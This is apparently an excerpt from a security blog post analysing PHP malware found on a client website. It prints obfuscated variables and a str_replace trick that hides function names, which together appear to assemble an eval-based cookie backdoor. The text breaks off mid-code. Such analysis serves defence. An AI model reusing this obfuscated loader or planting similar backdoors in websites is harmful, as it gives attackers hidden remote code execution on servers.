PHP str_replace to hide malware
Ante Kresic We found another interesting piece of PHP-based malware on a client site a few days ago: $exg=”JGMnd9J2NvdW50JzskYTnd0kX0ndNPndT0tJRTtpZihyZXNldCgkndYSk9PSdtandCcgJndiYgJGMondJGEpPjM”; $iyo=”GxhndY2UndoYXJyYndXkoJy9bndXlndx3PVxzXS8nLndCcvXHMvndJyksIGFyndcmF5KCcnLCcrJyk”; $ts = str_replace(“b”,””,”bsbtr_brbepblabcbe”); $fy=”sIGpndvaW4oYXJyYXlfc2xpY2UoJndGEndsJGMoJGEpLTndMpKndSkpKTtlYnd2hvICc8LycuJGsnduJz4nO30=”; $sjb=”peyRrPSndd1nddGU0bndSc7ZWNobyAnPCcnduJGsundJz4nO2ndV2YWwoYmFzZndTY0X2RlY29kZShwcmVnX3Jlc”; $dzy =…